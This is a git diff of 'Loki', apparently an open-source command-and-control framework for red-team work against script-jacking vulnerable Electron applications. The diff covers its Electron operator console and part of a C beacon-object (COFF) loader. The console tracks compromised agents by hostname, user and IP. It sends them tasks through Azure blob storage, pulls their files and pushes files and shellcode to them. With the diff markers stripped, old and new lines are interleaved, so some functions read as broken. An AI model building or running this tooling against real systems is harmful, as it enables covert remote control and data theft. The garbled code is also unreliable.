sendCommand(`ls ${"'"+document.getElementById("dirPath").value.trim()+"'"}`);
}
async function format_ls_output(filesAndFolders) {
let resultBuffer = '';
resultBuffer += `Name`.padEnd(60) + `Type`.padEnd(16) + `Size (bytes)`.padEnd(15) + `Created`.padEnd(24) + `Modified`.padEnd(24) + '\n';
resultBuffer += '-'.repeat(30) + '-'.repeat(10) + '-'.repeat(15) + '-'.repeat(30) + '-'.repeat(30) + '\n';
log(`[AGENT][IPC] format_ls_output : ${filesAndFolders}`);
let entries = JSON.parse(filesAndFolders)
for (const entry of entries) {
try {
log(`[AGENT][IPC] entry : ${entry}`);
const options = {
month: '2-digit',
day: '2-digit',
year: '2-digit',
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
hour12: false
};
resultBuffer += (entry.name || '').padEnd(60);
resultBuffer += (entry.type || '').padEnd(16);
resultBuffer += (entry.stats.size ? String(entry.stats.size) : '').padEnd(15);
resultBuffer += (entry.stats.ctimeMs ? new Date(entry.stats.ctimeMs).toLocaleString('en-US', options).replace(',', '') : '').padEnd(24);
resultBuffer += (entry.stats.mtimeMs ? new Date(entry.stats.mtimeMs).toLocaleString('en-US', options).replace(',', '') : '').padEnd(24);
resultBuffer += '\n';
} catch (err) {
log(`Error: ${err.message}`);
}
}
return resultBuffer;
}
async function listFiles_display(lsCommandOutput)
{
// Split output into lines and remove headers
let lines = lsCommandOutput.split("\n").slice(2); // Skip headers and separator line
try {
// Parse the JSON string into an array of file entries
let files = JSON.parse(lsCommandOutput);
let files = lines.map(line => {
let parts = line.match(/(.{1,60})\s+(File|Directory)\s+(\d+|-)\s+(\d{2}\/\d{2}\/\d{2} \d{2}:\d{2}:\d{2})\s+(\d{2}\/\d{2}\/\d{2} \d{2}:\d{2}:\d{2})/);
// Insert into table
const fileList = document.getElementById("fileList");
fileList.innerHTML = "";
if (!parts) return null; // Skip invalid lines
files.forEach(file => {
const row = document.createElement("tr");
const type = file.type === "Directory" ? "Folder" : "File";
const size = file.stats.size || '-';
return {
name: parts[1].trim(),
type: parts[2] === "Directory" ? "Folder" : "File", // Convert "Directory" to "Folder"
size: parts[3] === '-' ? '-' : parseInt(parts[3]),
created: parts[4],
modified: parts[5]
};
}).filter(item => item !== null); // Remove null entries
const options = {
month: '2-digit',
day: '2-digit',
year: '2-digit',
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
hour12: false
};
const modified = file.stats.mtimeMs ? new Date(file.stats.mtimeMs).toLocaleString('en-US', options).replace(',', '') : '';
// Insert into table
const fileList = document.getElementById("fileList");
fileList.innerHTML = "";
files.forEach(file => {
const row = document.createElement("tr");
row.innerHTML = `
<td class="${file.type === 'Folder' ? 'folder' : 'file'}"
onclick="${file.type === 'Folder' ? `navigateTo('${file.name}')` : `openFile('${file.name}')`}">
${file.name}
</td>
<td>${file.size}</td>
<td>${file.type}</td>
<td>${file.modified}</td>
`;
fileList.appendChild(row);
});
row.innerHTML = `
<td class="${type.toLowerCase()}"
onclick="${type === 'Folder' ? `navigateTo('${file.name}')` : `openFile('${file.name}')`}">
${file.name}
</td>
<td>${size}</td>
<td>${type}</td>
<td>${modified}</td>
`;
fileList.appendChild(row);
});
} catch (err) {
log(`Error in listFiles_display: ${err.message}`);
}
}
async function navigateTo(folderName) {
@@ -269,38 +297,42 @@ document.getElementById("dirPath").addEventListener("keypress", function(event)
ipcRenderer.on('command-output', (event, output) => {
try {
if (output) {
if(output === "pushedfile" || !output.substring(0, 3).includes('/')){
const dirPath = document.getElementById('dirPath');
if (!dirPath.value)
{
initialize();
return;
}else{
// listFiles();
}
// Convert output to string if it's an object
log(`[EXPLORER][IPC][COMMANDOUT]: output : ${JSON.stringify(output)}`);
}
if (mode === "pwd") {
// if(output.output === "pushedfile" || !output.output.substring(0, 3).includes('/')){
// const dirPath = document.getElementById('dirPath');
// if (!dirPath.value)
// {
// initialize();
// return;
// }else{
// // listFiles();
// }
// }
if (output.command === "pwd") {
mode = "";
if (!output.endsWith("/")) {
output += "/";
output.output = output.output.trim();
output.output = output.output.replace(/\\/g, '/');
if (!output.output.endsWith("/")) {
output.output += "/";
}
document.getElementById("dirPath").value = output;
//document.getElementById("dirPath").value = "C:/";
pwd = output;
document.getElementById("dirPath").value = output.output;
log(`[EXPLORER][IPC][CMDOUT] output.output : ${output.output}`);
pwd = output.output;
listFiles();
}
else if (mode === "list") {
mode = "";
listFiles_display(output);
listFiles_display(output.output);
}
else if (mode === "cat") {
mode = "";
openTextFileInNewWindow(output);
openTextFileInNewWindow(output.output);
}
}
} catch (error) {
log(`Error in explorer.js:command-output: ${error.message}\r\n${error.stack}`);
log(`[EXPLORER][IPC][CMDOUT] error : ${error.message}\r\n${error.stack}`);
}
});
@@ -376,17 +408,12 @@ function openTextFileInNewWindow(content) {
window.addEventListener('DOMContentLoaded', async () =>
{
ipcRenderer.on('container-data', (event, name, aes, blobs, agentJson) =>
ipcRenderer.on('container-data', (event, agent_object) =>
{
log(`explorer.js : container-data : ${name}`);
log(`explorer.js : container-data : ${agent_object.agentid}`);
try{
containerName = name;
containerKey = JSON.stringify(aes);
containerBlob = JSON.stringify(blobs);
agent = JSON.parse(agentJson);
agentObj = agent;
document.title = `${agent.agentid.toUpperCase()} | ${agent.hostname.toUpperCase()} | ${agent.username.toUpperCase()} | ${agent.IP}`;
global.agent = agent_object;
document.title = `${agent_object.agentid.toUpperCase()} | ${agent_object.hostname.toUpperCase()} | ${agent_object.username.toUpperCase()} | ${agent_object.IP}`;
const dirPath = document.getElementById('dirPath');
dirPath.focus();
@@ -397,9 +424,9 @@ window.addEventListener('DOMContentLoaded', async () =>
}
});
const checkVariables = setInterval(() => {
if (containerName && containerKey && containerBlob && agentObj && agent) {
if (global.agent) {
log(`explorer.js : container-data : ${global.agent}`);
clearInterval(checkVariables); // Stop the loop when all variables have values
log("All variables have been assigned!");
initialize();
}
}, 100); // Check every 100ms
+171 -193
View File
@@ -1,18 +1,17 @@
const { app, BrowserWindow, ipcMain, Menu, clipboard, shell, dialog } = require('electron');
const { app, BrowserWindow, ipcMain, Menu, clipboard, shell, screen, dialog, MenuItem } = require('electron');
const fs = require('fs');
const path = require('path');
const az = require('./azure');
const { getAppDataDir } = require('./common');
const directories = getAppDataDir();
global.config = require(directories.configFilePath);
const agents = [];
let metaContainer = config.metaContainer;
let win;
global.agentids = [];
global.agentwindows = 0;
global.agentWindowHandles = {}; // Store windows by agentID
global.dashboardWindow = null;
global.agents = [];
global.haltUpdate = false;
class Container
{
@@ -22,7 +21,6 @@ class Container
this.key = {} || key;
this.blobs = {} || blobs;
}
setName(name) {
this.name = name;
}
@@ -42,19 +40,31 @@ class Agent
this.container = null || containerObject;
this.BrowserWindow = null;
}
}
class Task {
constructor(command) {
this.outputChannel = 'o-' + Math.random().toString(36).substring(2, 14);
this.command = command;
this.taskid = Math.random().toString(36).substring(2, 14);
}
}
function createDashboardWindow() {
const primaryDisplay = screen.getPrimaryDisplay();
const { width, height } = primaryDisplay.workAreaSize;
global.dashboardWindow = new BrowserWindow({
width: 1792,
height: 1037,
width: Math.floor(width * 0.76),
height: Math.floor(height * 0.8),
center: true,
webPreferences: {
contextIsolation: false,
enableRemoteModule: true,
nodeIntegration: true, // Enable Node.js integration in the renderer process
nodeIntegration: true
},
});
global.dashboardWindow.focus();
global.dashboardWindow.loadFile('dashboard.html');
console.log('Main window created');
}
@@ -70,56 +80,37 @@ async function createContainerWindow(thisagentid) {
}
if (!exists)
{
const primaryDisplay = screen.getPrimaryDisplay();
const { width, height } = primaryDisplay.workAreaSize;
const containerWin = new BrowserWindow({
width: 1592,
height: 1037,
width: Math.floor(width * 0.6),
height: Math.floor(height * 0.7),
center: true,
webPreferences: {
contextIsolation: false,
enableRemoteModule: true,
nodeIntegration: true, // Enable Node.js integration in the renderer process
nodeIntegration: true
},
});
let thisAgent = global.agents.find(agent => agent.agentid === thisagentid);
let containerObject = new Container(thisAgent.container,thisAgent.aes,thisAgent.blobs);
let agent = new Agent(thisAgent.agentid,containerObject);
agent.BrowserWindow = containerWin;
agents.push(agent);
global.agentWindowHandles[thisAgent.agentid] = containerWin;
agent.container.blobs['key'] = thisAgent.blobs['key'];
agent.container.blobs['checkin'] = thisAgent.blobs['checkin'];
agent.container.blobs['in'] = thisAgent.blobs['in'];
agent.container.blobs['out'] = thisAgent.blobs['out'];
for (const key in agent.container.blobs) {
if (agent.container.blobs.hasOwnProperty(key)) {
console.log(`${key}: ${agent.container.blobs[key]}`);
}
}
agent.container.key['key'] = thisAgent.aes['key'];
agent.container.key['iv'] = thisAgent.aes['iv'];
let startupdata = JSON.stringify(thisAgent);
let agent_object = global.agents.find(agent => agent.agentid === thisagentid);
global.agentWindowHandles[agent_object.agentid] = containerWin;
global.agentwindows++;
containerWin.loadFile('agent-window.html').then(() => {
containerWin.webContents.send('container-data', agent.container.name, agent.container.key, agent.container.blobs,startupdata);
containerWin.loadFile('agent.html').then(() => {
containerWin.webContents.send('container-data', agent_object);
});
console.log(`Container window created for container: ${thisAgent.container}`);
console.log(`Container window created for container: ${agent_object.container}`);
console.log(`Number of agent windows : ${global.agentwindows}`);
containerWin.on('close', async (event) => {
event.preventDefault(); // Prevents default close
await containerWin.webContents.send('window-closing'); // Notify renderer
event.preventDefault();
await containerWin.webContents.send('window-closing');
});
ipcMain.on('force-close', async (event,agentid) => {
// ipcMain.on('force-close', (event) => {
console.log(`kernel.js : IPC force-close`);
console.log(`agentid : ${agentid}`);
if(agents.length > 0){
for (let i = 0; i < agents.length; i++) {
//console.log(`agents[${i}] : ${JSON.stringify(agents[i])}`);
if (agents[i].agentid === agentid)
{
agents.pop(agents[i]);
@@ -133,8 +124,8 @@ async function createContainerWindow(thisagentid) {
}
const agentWindow = global.agentWindowHandles[agentid];
if (agentWindow) {
agentWindow.destroy(); // Force close after confirmation
delete global.agentWindowHandles[agentid]; // Remove from tracking
agentWindow.destroy();
delete global.agentWindowHandles[agentid];
global.agentwindows--;
}
console.log(`agentids : ${global.agentids}`);
@@ -146,61 +137,35 @@ async function createContainerWindow(thisagentid) {
}
async function createExplorerWindow(thisagent) {
let this_agent = JSON.parse(thisagent);
const primaryDisplay = screen.getPrimaryDisplay();
const { width, height } = primaryDisplay.workAreaSize;
const ExplorerWin = new BrowserWindow({
width: 1592,
height: 1037,
width: Math.floor(width * 0.6),
height: Math.floor(height * 0.7),
center: true,
webPreferences: {
contextIsolation: false,
enableRemoteModule: true,
nodeIntegration: true,
},
});
console.log(`Agent Data : ${JSON.stringify(this_agent)}`);
const container_blobs = await az.getContainerBlobs(this_agent.containerid,config);
console.log(`${this_agent.containerid} container key blob : ${container_blobs['key']}`);
const container_key = await az.getContainerAesKeys(this_agent.containerid,container_blobs['key'],config);
let containerObject = new Container(this_agent.containerid,container_key,container_blobs);
let agent = new Agent(this_agent.agentid,containerObject);
agent.container.blobs['key'] = container_blobs['key'];
agent.container.blobs['checkin'] = container_blobs['checkin'];
agent.container.blobs['in'] = container_blobs['in'];
agent.container.blobs['out'] = container_blobs['out'];
for (const key in agent.container.blobs) {
if (agent.container.blobs.hasOwnProperty(key)) {
console.log(`${key}: ${agent.container.blobs[key]}`);
}
}
agent.container.key['key'] = container_key['key'];
agent.container.key['iv'] = container_key['iv'];
let checkinData = await az.checkinContainer(agent.container.name, agent.container.key, agent.container.blobs,config);
let agentObj = JSON.parse(checkinData);
agentObj.agentid = agent.agentid;
agentObj.containerid = agent.container.name;
agentObj.key = agent.container.key['key'];
agentObj.iv = agent.container.key['iv'];
let startupdata = JSON.stringify(agentObj);
let this_agent = JSON.parse(thisagent);
let agent_object = global.agents.find(agent => agent.agentid === this_agent.agentid);
ExplorerWin.loadFile('explorer.html').then(() => {
ExplorerWin.webContents.send('container-data', agent.container.name, agent.container.key, agent.container.blobs,startupdata);
ExplorerWin.webContents.send('container-data', agent_object);
});
ExplorerWin.on('close', async (event) => {
});
}
// Open File Explorer at the Downloads Directory
function openDownloadsExplorer() {
shell.openPath(directories.downloadsDir);
}
// Open File Explorer at the Downloads Directory
function openAgentLogsExplorer() {
shell.openPath(directories.logDir);
}
// Function to Open Configuration Window
function openConfigWindow() {
const configWindow = new BrowserWindow({
width: 500,
@@ -211,7 +176,7 @@ function openConfigWindow() {
webPreferences: {
contextIsolation: false,
enableRemoteModule: true,
nodeIntegration: true, // Allow Node.js access in the settings window
nodeIntegration: true
},
});
configWindow.loadFile('settings.html');
@@ -220,22 +185,20 @@ function openConfigWindow() {
ipcMain.handle('updateagent', async (event, agentid,newcontainerid) => {
try
{
const newcontainer_blobs = await az.getContainerBlobs(newcontainerid,config);
const newcontainer_blobs = await az.getContainerBlobs(newcontainerid);
console.log(`${newcontainerid} container key blob : ${newcontainer_blobs['key']}`);
const container_key = await az.getContainerAesKeys(newcontainerid,newcontainer_blobs['key'],config);
let checkinData = await az.checkinContainer(newcontainerid, container_key,newcontainer_blobs,config);
const container_key = await az.getContainerAesKeys(agentid);
let checkinData = await az.checkinContainer(newcontainerid, container_key,newcontainer_blobs);
let agentObj = JSON.parse(checkinData);
agentObj.agentid = agentid;
agentObj.containerid = newcontainerid;
agentObj.key = container_key['key'];
agentObj.iv = container_key['iv'];
let startupdata = JSON.stringify(agentObj);
for (let i = 0; i < agents.length; i++) {
if (agents[i].agentid === agentid)
{
JSON.stringify(agents[i]);
// agents[i].window.setCheckin(agent.window.checkin);
agents[i].container.name = newcontainerid;
agents[i].BrowserWindow.webContents.send('container-data', newcontainerid, container_key, newcontainer_blobs,startupdata);
break;
@@ -247,99 +210,98 @@ ipcMain.handle('updateagent', async (event, agentid,newcontainerid) => {
}
});
ipcMain.on('upload-client-command-to-input-channel', async (event, containerCmd) => {
ipcMain.on('upload-client-command-to-input-channel', async (event, agent_object) => {
try {
console.log(`Received IPC "upload-client-command-to-input-channel" with args: ${containerCmd}`);
console.log(`kernel.js : IPC "upload-client-command-to-input-channel`);
let global_agent_object = global.agents.find(agent => agent.agentid === agent_object.agentid);
let agent_task = agent_object.tasks[agent_object.tasks.length - 1];
global_agent_object.tasks.push(agent_task);
let commandOutput = await az.uploadCommand(containerCmd, config);
console.log(`Command output: ${commandOutput}`);
// Send the result back to the **calling renderer process** directly
event.reply('command-output', commandOutput);
let commandOutput = false;
while (commandOutput === false) {
commandOutput = await az.uploadCommand(agent_object);
if (commandOutput === false) {
await new Promise(resolve => setTimeout(resolve, 3000));
}
}
console.log(`[KERNEL][IPC] command-output : ${commandOutput}`);
let command_response = {
'command' : agent_task.command,
'taskid' : agent_task.taskid,
'output' : commandOutput
}
event.reply('command-output', command_response);
} catch (error) {
console.error('Error uploading command to Azure Blob Storage:', error);
event.reply('command-output', `Error: ${error.message}`); // Send error response
}
});
ipcMain.on('pull-download-file', async (event, containerCmd, filename, blob) => {
ipcMain.on('pull-download-file', async (event, agent_object, filename, blob) => {
try {
console.log(`[+] IpcMain pull-download-file`);
console.log(`[+] config ${JSON.stringify(config)}`);
if (filename.startsWith("'") && filename.endsWith("'")) {
filename = filename.slice(1, -1);
}
if (filename.startsWith('"') && filename.endsWith('"')) {
filename = filename.slice(1, -1);
}
let containerCommand = JSON.parse(containerCmd);
let commandOutput = await az.pullDownloadFile(containerCmd,filename,blob,config);
console.log(`kernel.js | after az.pullDownloadFile`);
await az.pullDownloadFile(agent_object,filename,blob);
} catch (error) {
console.error('Error uploading command to Azure Blob Storage:', error);
}
});
ipcMain.on('upload-file-to-blob', async (event, containerCmd, uploadfile, uploadblob) => {
ipcMain.on('upload-file-to-blob', async (event, agent_object, uploadfile, uploadblob) => {
try {
let containerCommand = JSON.parse(containerCmd);
let commandOutput = await az.uploadFileToAzure(containerCmd, uploadblob, uploadfile,config);
for (let i = 0; i < agents.length; i++) {
if (agents[i].container.blobs['in'] === containerCommand.blobs['in'])
{
await agents[i].BrowserWindow.webContents.send('send-upload-command', containerCmd);
}
}
await az.uploadFileToAzure(agent_object, uploadblob, uploadfile);
await global.agentWindowHandles[agent_object.agentid].webContents.send('send-upload-command', agent_object);
} catch (error) {
console.error('Error uploading command to Azure Blob Storage:', error);
}
});
ipcMain.on('upload-sc-to-blob', async (event, containerCmd, scfile, scblob) => {
ipcMain.on('upload-sc-to-blob', async (event, agent_object, scfile, scblob) => {
try {
let containerCommand = JSON.parse(containerCmd);
await az.uploadSCToAzure(containerCmd, scblob, scfile,config);
for (let i = 0; i < agents.length; i++) {
if (agents[i].container.blobs['in'] === containerCommand.blobs['in'])
{
await agents[i].BrowserWindow.webContents.send('send-upload-command', containerCmd);
}
}
console.log(`[KERNEL][IPC] upload-sc-to-blob : ${scfile} ${scblob}`);
await az.uploadSCToAzure(agent_object, scblob, scfile);
await global.agentWindowHandles[agent_object.agentid].webContents.send('send-upload-command', agent_object);
} catch (error) {
console.error('Error uploading command to Azure Blob Storage:', error);
}
});
// Fetch container data and send it to the renderer process
ipcMain.handle('preload-agents', async () => {
let blobs = await az.preloadContainers(metaContainer,config);
let blobs = await az.preloadContainers();
return blobs;
});
// Fetch container data and send it to the renderer process
ipcMain.handle('get-containers', async () => {
let blobs = await az.updateDashboardTable(metaContainer,config);
//console.log(`IPC get-containers : agent checkin blobs : ${blobs}`);
return blobs;
if (global.haltUpdate == false)
{
let blobs = await az.updateDashboardTable();
return blobs;
}
else
{
return 0;
}
});
ipcMain.handle('get-agent-checkin', async (event, agentid) => {
let thisAgent = global.agents.find(agent => agent.agentid === agentid);
let agentCheckin = await az.returnAgentCheckinInfo(thisAgent.container,thisAgent.blobs['in']);
thisAgent.checkin = agentCheckin;
return JSON.stringify(thisAgent);
if (global.haltUpdate == false)
{
let thisAgent = global.agents.find(agent => agent.agentid === agentid);
let agentCheckin = await az.returnAgentCheckinInfo(thisAgent.agentid);
thisAgent.checkin = agentCheckin;
return JSON.stringify(thisAgent);
}
else { return 0; }
});
ipcMain.on('open-container-window', async (event, thisagentid) => {
console.log(`IPC Open Container Window : ${thisagentid}`);
// let this_agent = JSON.parse(thisagent);
let window_exists = false;
if (global.agentwindows === 0)
{
global.agentids.length = 0;
}
if (global.agentwindows === 0) { global.agentids.length = 0; }
console.log(`agentids[] : ${thisagentid}`);
if (!global.agentids.includes(thisagentid)) {
global.agentids.push(thisagentid);
@@ -353,22 +315,19 @@ ipcMain.on('open-container-window', async (event, thisagentid) => {
{
window_exists = true;
console.log(`window exists`);
// Check if window for this agent already exists
if (agentWindow && !agentWindow.isDestroyed()) {
agentWindow.focus(); // Bring existing window to front
agentWindow.focus();
return;
}
}
// }
if (window_exists == false)
{
setTimeout(() => { createContainerWindow(thisagentid) }, 1000); // Simulate some delay before closing
setTimeout(() => { createContainerWindow(thisagentid) }, 1000);
}
});
ipcMain.on('execute-command', (event, command) => {
console.log(`Executing command: ${command}`);
// Execute the command here and send the result back to the console window
const result = `Executed command: ${command}`;
event.sender.send('command-result', result);
});
@@ -376,7 +335,6 @@ ipcMain.on('execute-command', (event, command) => {
app.whenReady().then(() => {
console.log('App is ready');
createDashboardWindow();
// Create Application Menu
const menu = Menu.buildFromTemplate([
{
label: 'View',
@@ -414,6 +372,15 @@ app.whenReady().then(() => {
}
}
},
{
label: 'Perform Command Test',
click: () => {
const focusedWindow = BrowserWindow.getFocusedWindow();
if (focusedWindow) {
focusedWindow.webContents.send('execute-test-command');
}
}
},
{
role: 'reload'
}
@@ -426,65 +393,77 @@ ipcMain.on('show-row-context-menu', (event, agentDataJSON) => {
let agentData = JSON.parse(agentDataJSON);
const agentid = agentData.agentid;
const contextMenu = Menu.buildFromTemplate([
{
label: 'Remove',
click: async () => {
console.log(`IPC show-row-context-menu : AgentData : ${agentDataJSON}`);
//console.log(`config : ${JSON.stringify(config)}`);
//console.log(`agents.length = ${agents.length}`);
// Send event to dashboard window to remove the table row
const dashboardWindow = win;
if (global.agentWindowHandles[agentid]) {
console.log(`Closing window for agent ID: ${agentid}`);
global.agentWindowHandles[agentid].destroy();
delete global.agentWindowHandles[agentid]; // Remove reference to the closed window
for (let i = 0; i < agents.length; i++) {
if (agents[i].agentid === agentid)
{
console.log(`Before pop : global.agentids[] : ${global.agentids}`);
agents.pop(agents[i]);
global.agentids.pop(agentid);
console.log(`After pop : global.agentids[] : ${global.agentids}`);
}
}
global.agentwindows--;
}
if (dashboardWindow) {
console.log(`dashboardWindow exists`);
console.log(`calling IPC remove-table row for ${agentid} agent`);
dashboardWindow.webContents.send('remove-table-row', agentid);
}
let container_blobs = await az.getContainerBlobs(agentData.containerid,config);
//console.log(`container_blobs : ${JSON.stringify(container_blobs)}`);
let container_key = await az.getContainerAesKeys(agentData.containerid,container_blobs['key'],config);
//console.log(`container_key : ${JSON.stringify(container_key)}`);
if (container_blobs != false && container_key)
{
try
{
await az.DeleteStorageContainer( agentData.containerid, config );
await az.DeleteStorageBlob( config.metaContainer, agentData.agentid, config );
//console.log(`agents : ${JSON.stringify(agents)}`);
if (dashboardWindow) {
console.log(`dashboardWindow exists`);
console.log(`calling IPC remove-table row for ${agentid} agent`);
dashboardWindow.webContents.send('remove-table-row', agentid);
}
}catch(error)
{
console.log(`Remove error : ${error} ${error.stack}`);
}
{
label: 'Remove',
click: async () => {
try {
console.log(`IPC show-row-context-menu : AgentData : ${agentDataJSON}`);
global.haltUpdate = true;
// Handle agent window cleanup
if (global.agentWindowHandles[agentid]) {
try {
console.log(`Closing window for agent ID: ${agentid}`);
global.agentWindowHandles[agentid].destroy();
delete global.agentWindowHandles[agentid];
for (let i = 0; i < agents.length; i++) {
if (agents[i].agentid === agentid) {
console.log(`Before pop : global.agentids[] : ${global.agentids}`);
agents.pop(agents[i]);
global.agentids.pop(agentid);
console.log(`After pop : global.agentids[] : ${global.agentids}`);
}
}
global.agentwindows--;
} catch (windowError) {
console.log(`Error cleaning up agent window: ${windowError} ${windowError.stack}`);
global.haltUpdate = false;
return;
}
}
},
{
label: 'Explorer',
click: () => {
console.log(`Explorer clicked for agent ID: ${agentid}`);
createExplorerWindow(agentDataJSON);
// Implement the logic for Explorer option here
// Handle dashboard updates
if (global.dashboardWindow) {
try {
console.log(`dashboardWindow exists`);
console.log(`calling IPC remove-table row for ${agentid} agent`);
global.dashboardWindow.webContents.send('remove-table-row', agentid);
} catch (dashboardError) {
console.log(`[REMOVE][!] Error updating dashboard: \r\n${dashboardError}\r\n${dashboardError.stack}`);
global.haltUpdate = false;
return;
}
}
// Handle storage cleanup
try {
await az.DeleteStorageBlob(global.config.metaContainer, agentData.agentid);
await az.DeleteStorageContainer(agentData.containerid);
if (global.dashboardWindow) {
console.log(`dashboardWindow exists`);
console.log(`calling IPC remove-table row for ${agentid} agent`);
global.dashboardWindow.webContents.send('remove-table-row', agentid);
}
} catch (storageError) {
console.log(`[REMOVE][!] Error cleaning up storage: \r\n${storageError}\r\n${storageError.stack}`);
global.haltUpdate = false;
return;
}
global.haltUpdate = false;
} catch (error) {
console.log(`[REMOVE][!] Unexpected error in remove operation: \r\n${error}\r\n${error.stack}`);
global.haltUpdate = false;
}
}
},
{
label: 'Explorer',
click: () => {
console.log(`Explorer clicked for agent ID: ${agentid}`);
createExplorerWindow(agentDataJSON);
}
}
]);
contextMenu.popup(BrowserWindow.fromWebContents(event.sender));
});
@@ -529,13 +508,12 @@ ipcMain.on('show-row-context-menu', (event, agentDataJSON) => {
});
ipcMain.on('update-config', (event, newConfig) => {
//const configPath = path.join(__dirname, 'config.js');
const configPath = directories.configFilePath;
fs.writeFileSync(configPath, `module.exports = ${JSON.stringify(newConfig, null, 4)};`);
console.log("Configuration updated:", newConfig);
config = newConfig;
metaContainer = config.metaContainer;
global.config = newConfig;
});
});
app.on('window-all-closed', () => {
+7 -11
View File
@@ -1,6 +1,6 @@
{
"name": "loki-c2-client",
"version": "1.0.0",
"name": "loki",
"version": "2.0.0",
"main": "./kernel.js",
"scripts": {
"start": "electron .",
@@ -8,18 +8,18 @@
"pack": "electron-builder --dir",
"dist": "electron-builder"
},
"keywords": [],
"keywords": ["C2","Electron","Red Team","adversary simulation","https://x.com/0xBoku","https://www.linkedin.com/in/bobby-cooke/"],
"author": "Bobby Cooke",
"homepage": "https://0xBoku.com",
"license": "MIT",
"description": "",
"license": "BSL",
"description": "Node.js Command & Control for Script-Jacking Vulnerable Electron Applications",
"devDependencies": {
"electron": "^31.1.0",
"electron-builder": "^25.1.8"
},
"build": {
"appId": "com.0xBoku.Loki-C2-Client",
"productName": "Loki C2 Client",
"appId": "com.0xBoku.Loki",
"productName": "Loki",
"copyright": "© 2025 Bobby Cooke",
"asar": true,
"files": [
@@ -33,16 +33,12 @@
"mac": {
"icon": "assets/mac/icon.icns",
"target": [
"dmg",
"zip"
]
},
"win": {
"icon": "assets/win/icon.ico",
"target": [
"msi",
"portable",
"nsis",
"zip"
]
},
+785
View File
@@ -0,0 +1,785 @@
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <napi.h>
#if defined(_WIN32)
#include <windows.h>
#include "beacon_compatibility.h"
#endif
#include "COFFLoader.h"
/* Enable or disable debug output if testing or adding new relocation types */
#ifdef DEBUG
#define DEBUG_PRINT(x, ...) printf(x, ##__VA_ARGS__)
#else
#define DEBUG_PRINT(x, ...)
#endif
/* Defining symbols for the OS version, will try to define anything that is
* different between the arch versions by specifying them here. */
#if defined(__x86_64__) || defined(_WIN64)
#define PREPENDSYMBOLVALUE "__imp_"
#else
#define PREPENDSYMBOLVALUE "__imp__"
#endif
#define COFFLOADER_RETURN_VAL_IF(expr, val, fmt, ...) if ((expr)) { DEBUG_PRINT(fmt, ##__VA_ARGS__); return val; }
unsigned char* unhexlify(unsigned char* value, int *outlen) {
unsigned char* retval = NULL;
char byteval[3] = { 0 };
unsigned int counter = 0;
int counter2 = 0;
char character = 0;
if (value == NULL) {
return NULL;
}
DEBUG_PRINT("Unhexlify Strlen: %lu\n", (long unsigned int)strlen((char*)value));
if (strlen((char*)value) % 2 != 0) {
DEBUG_PRINT("Either value is NULL, or the hexlified string isn't valid\n");
goto errcase;
}
retval = (unsigned char*) calloc(strlen((char*)value) + 1, 1);
if (retval == NULL) {
goto errcase;
}
counter2 = 0;
for (counter = 0; counter < strlen((char*)value); counter += 2) {
memcpy(byteval, value + counter, 2);
character = (char)strtol(byteval, NULL, 16);
memcpy(retval + counter2, &character, 1);
counter2++;
}
*outlen = counter2;
errcase:
return retval;
}
/* Helper to just get the contents of a file, used for testing. Real
* implementations of this in an agent would use the tasking from the
* C2 server for this */
unsigned char* getContents(char* filepath, uint32_t* outsize) {
FILE *fin = NULL;
uint32_t fsize = 0;
size_t readsize = 0;
unsigned char* buffer = NULL;
unsigned char* tempbuffer = NULL;
fin = fopen(filepath, "rb");
if (fin == NULL) {
return NULL;
}
fseek(fin, 0, SEEK_END);
fsize = ftell(fin);
fseek(fin, 0, SEEK_SET);
tempbuffer = (unsigned char*) calloc(fsize, 1);
if (tempbuffer == NULL) {
fclose(fin);
return NULL;
}
memset(tempbuffer, 0, fsize);
readsize = fread(tempbuffer, 1, fsize, fin);
fclose(fin);
buffer = (unsigned char*) calloc(readsize, 1);
if (buffer == NULL) {
free(tempbuffer);
return NULL;
}
memset(buffer, 0, readsize);
memcpy(buffer, tempbuffer, readsize - 1);
free(tempbuffer);
*outsize = fsize;
return buffer;
}
static BOOL starts_with(const char* string, const char* substring) {
return strncmp(string, substring, strlen(substring)) == 0;
}
/* Helper function to process a symbol string, determine what function and
* library its from, and return the right function pointer. Will need to
* implement in the loading of the beacon internal functions, or any other
* internal functions you want to have available. */
void* process_symbol(char* symbolstring) {
void* functionaddress = NULL;
char localcopy[1024] = { 0 };
char* locallib = NULL;
char* localfunc = NULL;
#if defined(_WIN32)
int tempcounter = 0;
HMODULE llHandle = NULL;
#endif
strncpy(localcopy, symbolstring, sizeof(localcopy) - 1);
if (starts_with(symbolstring, PREPENDSYMBOLVALUE"Beacon") || starts_with(symbolstring, PREPENDSYMBOLVALUE"toWideChar") ||
starts_with(symbolstring, PREPENDSYMBOLVALUE"GetProcAddress") || starts_with(symbolstring, PREPENDSYMBOLVALUE"LoadLibraryA") ||
starts_with(symbolstring, PREPENDSYMBOLVALUE"GetModuleHandleA") || starts_with(symbolstring, PREPENDSYMBOLVALUE"FreeLibrary") ||
starts_with(symbolstring, "__C_specific_handler")) {
if(strcmp(symbolstring, "__C_specific_handler") == 0)
{
localfunc = symbolstring;
return InternalFunctions[29][1];
}
else
{
localfunc = symbolstring + strlen(PREPENDSYMBOLVALUE);
}
DEBUG_PRINT("\t\tInternalFunction: %s\n", localfunc);
/* TODO: Get internal symbol here and set to functionaddress, then
* return the pointer to the internal function*/
#if defined(_WIN32)
for (tempcounter = 0; tempcounter < 30; tempcounter++) {
if (InternalFunctions[tempcounter][0] != NULL) {
if (starts_with(localfunc, (char*)(InternalFunctions[tempcounter][0]))) {
functionaddress = (void*)InternalFunctions[tempcounter][1];
return functionaddress;
}
}
}
#endif
}
else if (strncmp(symbolstring, PREPENDSYMBOLVALUE, strlen(PREPENDSYMBOLVALUE)) == 0) {
DEBUG_PRINT("\t\tYep its an external symbol\n");
locallib = localcopy + strlen(PREPENDSYMBOLVALUE);
locallib = strtok(locallib, "$");
localfunc = strtok(NULL, "$");
DEBUG_PRINT("\t\tLibrary: %s\n", locallib);
localfunc = strtok(localfunc, "@");
DEBUG_PRINT("\t\tFunction: %s\n", localfunc);
/* Resolve the symbols here, and set the functionpointervalue */
#if defined(_WIN32)
llHandle = LoadLibraryA(locallib);
DEBUG_PRINT("\t\tHandle: 0x%lx\n", llHandle);
functionaddress = GetProcAddress(llHandle, localfunc);
DEBUG_PRINT("\t\tProcAddress: 0x%p\n", functionaddress);
#endif
}
return functionaddress;
}
/* Just a generic runner for testing, this is pretty much just a reference
* implementation, return values will need to be checked, more relocation
